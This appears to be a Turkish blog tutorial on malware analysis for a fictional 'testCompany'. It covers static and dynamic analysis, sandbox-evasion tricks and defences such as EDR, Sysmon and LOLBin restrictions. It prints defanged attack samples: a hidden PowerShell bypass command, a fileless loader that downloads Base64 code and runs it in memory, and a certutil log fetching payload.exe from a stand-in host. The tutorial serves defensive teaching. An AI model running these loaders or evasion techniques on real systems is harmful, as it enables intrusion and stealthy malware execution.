Eskiden her şey daha basitti; bir dosyanın zararlı olup olmadığını anlamak için hash değerine bakar, VirusTotal'de kırmızıları gördüğümüzde 'Tamam, bu arkadaşı karantinaya alalım' derdik. Ama artık kimse sadece imza tabanlı korumalara güvenmiyor. Peki ya o dosya kendi kendini değiştirebiliyorsa? Ya da daha kötüsü, sistemde hiç dosya bırakmadan (fileless) sadece bellek üzerinde dans ediyorsa?
Bugün seninle biraz 'mutfağa' gireceğiz. testCompany'deki sistemlerimize sızmaya çalışan bir 'bukalemunun' maskesini nasıl düşürürüz, o meşhur malware analiz lablarında neler döner, samimi bir şekilde konuşalım. Kahveni tazelediysen başlıyoruz.
Analiz Denen Labirent
Bir gün önüne şüpheli bir dosya düştüğünde (diyelim ki adı fatura_detay.exe.lnk gibi klasik bir numara), içindeki meraklı hacker hemen 'Çift tıklasam ne olur?' der. Sakın yapma. Analiz süreci iki ana koldan ilerler: Statik ve Dinamik.
Statik analizde dosyayı hiç çalıştırmadan röntgenini çekeriz. 'İçinde hangi string'ler var?', 'Hangi kütüphaneleri çağırıyor (Import Table)?', 'Packer (sıkıştırıcı) kullanılmış mı?' gibi sorulara cevap ararız. Dinamik analizde ise dosyayı kontrollü bir ortamda (Sandbox) serbest bırakır ve ne haltlar karıştırdığını izleriz. Hangi IP'ye bağlandı? Kayıt defterinde (Registry) hangi anahtarı değiştirdi? Hangi dosyayı şifreledi?
İlk Durak: Statik Analizin Sessizliği
Dosyayı analiz tezgahına yatırdığımızda ilk baktığımız yer PE (Portable Executable) yapısıdır. Eğer bir dosya GetProcAddress veya LoadLibrary gibi fonksiyonları çok sık kullanıyorsa, bilin ki o dosya aslında ne yapacağını gizlemeye çalışıyordur (Dynamic API Loading).
Örnek bir statik analiz çıktısında şuna benzer şüpheli string'ler görebilirsin:
// Zararsızlaştırılmış (Defanged) Örnek Stringler
http://example.com/gate.php
C:\Windows\Temp\update_service.exe
Software\Microsoft\Windows\CurrentVersion\Run
cmd.exe /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden ...
Burada Run anahtarını görmek, bu arkadaşın sistem her açıldığında 'Ben buradayım' demek istediğinin (Persistence) kanıtıdır. Ama dikkat et, bazen saldırganlar analiz araçlarını yanıltmak için araya binlerce anlamsız string serpiştirir. Buna 'junk code' diyoruz.
Dinamik Analiz: Sahne Işıkları Altında
Dosyayı güvenli, internet erişimi kısıtlanmış ve her hareketi loglanan bir sanal makinede çalıştırdık. İşte burası en eğlenceli kısım. Saldırganın 'Stage 1' payload'ını tetiklediğini görüyoruz.
Genelde şöyle bir akış izlerler:
# Defanged PowerShell Payload Örneği
# Amacı: Bellek üzerinde kod çalıştırmak
$u = "http://127.0.0.1/totally_not_malware.txt"
$c = New-Object System.Net.WebClient
$d = $c.DownloadString($u)
$i = [System.Convert]::FromBase64String($d)
[System.Reflection.Assembly]::Load($i).EntryPoint.Invoke($null, $null)
Bu kodda ne oluyor? PowerShell gidip uzak bir sunucudan (ki burada local host verdik) Base64 ile encode edilmiş bir veri çekiyor. Sonra bunu belleğe yüklüyor ve doğrudan çalıştırıyor. Diske hiçbir şey yazılmadığı için geleneksel antivirüslerin ruhu bile duymuyor. İşte buna 'Fileless Malware' diyoruz.
Kaçış Sanatı: Analiz Edildiğini Anlayan Yazılımlar
Modern zararlı yazılımlar artık çok zeki. Bir analiz ortamında (VMware, VirtualBox, Cuckoo) olduklarını anladıkları an 'uslu çocuk' moduna geçiyorlar. Peki nasıl anlıyorlar?
- Donanım Kontrolü: RAM miktarı 2GB'ın altındaysa veya CPU çekirdek sayısı 1 ise (tipik sandbox özellikleri), çalışmayı durduruyorlar.
- Kullanıcı Etkileşimi: 'Eğer mouse hareket etmiyorsa çalışma' gibi basit bir kural ekleyebiliyorlar. Otomatik analiz araçları genelde mouse oynatmaz.
- Zaman Geciktirme: İlk 1 saat hiçbir şey yapmadan bekliyorlar (Sleep). Sandbox'ların çoğu bir dosyayı sadece 2-5 dakika izler.
Defans Hattını Nasıl Kurarız?
testCompany gibi bir yapıda siber güvenlik uzmanıysan, sadece analiz yapmak yetmez. Bu analizlerden çıkardığın veriyi (IOC - Indicators of Compromise) tüm sisteme yaymalısın.
- EDR/XDR Kullanımı: Geleneksel AV yerine, davranış analizi yapan araçlara yatırım yapın. Bir
word.exenedenpowershell.exebaşlatsın ki? Bunu yakaladığın an operasyonu durdurursun. - Sysmon Logları: Windows sistemlerde Sysmon kullanarak 'Process Creation' (Event ID 1) ve 'Network Connection' (Event ID 3) loglarını takip et.
- LOLBins Engellemesi: 'Living off the Land Binaries' dediğimiz, sistemin kendi araçlarının (certutil, mshta, vssadmin) kötüye kullanımını kısıtla.
Örneğin, sisteminde şu logu gördüğünde alarm zilleri çalmalı:
{
"EventID": 1,
"Image": "C:\\Windows\\System32\\certutil.exe",
"CommandLine": "-urlcache -split -f http://example.com/payload.exe C:\\Windows\\Temp\\svc.exe",
"User": "testCompany\\User1"
}
certutil aslında bir sertifika aracıdır ama saldırganlar bunu dosya indirmek için kullanmayı çok sever.
Red Team Gözüyle Son Bir Not
Biz Red Team tarafında sızma simülasyonları yaparken, aslında en büyük amacımız sizin Blue Team tarafındaki kaslarınızı güçlendirmek. Zararlı yazılım analizi sadece bir dosyayı deşifre etmek değildir; bir saldırganın zihin yapısını, taktiklerini ve hedeflerini anlamaktır.
Unutma, mükemmel bir savunma yoktur ama sürekli öğrenen bir savunma her zaman bir adım öndedir. Bir dahaki sefere o şüpheli .lnk dosyasını gördüğünde, ona bir dosya değil, çözülmeyi bekleyen bir bulmaca gibi bak.
Laboratuvarda görüşürüz!
